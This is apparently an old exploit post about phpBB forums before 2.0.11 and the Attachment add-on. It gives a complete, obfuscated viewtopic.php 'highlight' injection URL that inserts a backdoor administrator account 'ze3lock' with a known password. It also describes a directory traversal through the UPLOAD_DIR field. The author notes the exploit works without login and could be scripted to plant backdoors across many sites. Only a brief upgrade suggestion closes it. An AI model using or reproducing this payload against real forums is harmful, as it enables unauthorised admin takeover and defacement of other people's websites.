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Phpbb id: 10701 update and Attachmodule add-on Directory Traversal



Phpbb: All vulnerable all except 2.0.11
Attachment module: All version vulnerable Howdark update opened wide my eyes with his nice exploit: Bugtraq id: 10701
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viewtopic.php?t=1&highlight=%2527
----- Looking at the code I saw that was possible inject any type of Sql query with a multiple char() functions. The following code can add an username with admin rights executing this query: INSERT INTO phpbb_users(user_id,user_active,username,user_password,user_level) VALUES ('99999','1','ze3lock','ba3c83348bddf7b368b478ac06d3340e','1') And will be added to phpbb_users a new user with admin rights. *Note we can only execute a working query if we know the tables name. If not we can't. So this work only with a standard installation (usually 95% of websites ;-)
username: ze3lock
pass: thepass The exploit can be run without being logged in and then you can have access with username. So it's quite simple to make it part of a script that could make backdoors around the web. For make it working just use the id of a working thread (in this case the thread is 30 - you can see it from the message) --- Code start ---- http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr (73)%252echr(78)%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32) %252echr(73)%252echr(78)%252echr(84)%252echr(79)%252echr(32)%252echr(112)%25 2echr(104)%252echr(112)%252echr(98)%252echr(98)%252echr(95)%252echr(117)%252 echr(115)%252echr(101)%252echr(114)%252echr(115)%252echr(40)%252echr(117)%25 2echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)%252echr(100)%2 52echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%2 52echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%2 52echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)% 252echr(97)%252echr(109)%252echr(101)%252echr(44)%252echr(117)%252echr(115)% 252echr(101)%252echr(114)%252echr(95)%252echr(112)%252echr(97)%252echr(115)% 252echr(115)%252echr(119)%252echr(111)%252echr(114)%252echr(100)%252echr(44) %252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(108 )%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32 )%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%25 2echr(32)%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252ech r(57)%252echr(57)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39 )%252echr(44)%252echr(39)%252echr(122)%252echr(101)%252echr(51)%252echr(108) %252echr(111)%252echr(99)%252echr(107)%252echr(39)%252echr(44)%252echr(39)%2 52echr(98)%252echr(97)%252echr(51)%252echr(99)%252echr(56)%252echr(51)%252ec hr(51)%252echr(52)%252echr(56)%252echr(98)%252echr(100)%252echr(100)%252echr (102)%252echr(55)%252echr(98)%252echr(51)%252echr(54)%252echr(56)%252echr(98 )%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(48)%25 2echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(48)%252ec hr(101)%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr( 41))%252e%2527 --- code end --- ------------ Attach Module ----------------

In the attach module, I found a directory traversal in the "UPLOAD_DIR" field. This is the directory where all attachments are supposted to be uploaded. The field accept any kind of character so you can put instead of 'files' '../../' and all the attachments will be uploaded in the '../..? directory. That's really dangerous for defacements threat.

--------------- Suggestion ------------------ Please, upgrade to version 2.0.11 and add an input validation to UPLOAD_DIR field in attach module. Zeelock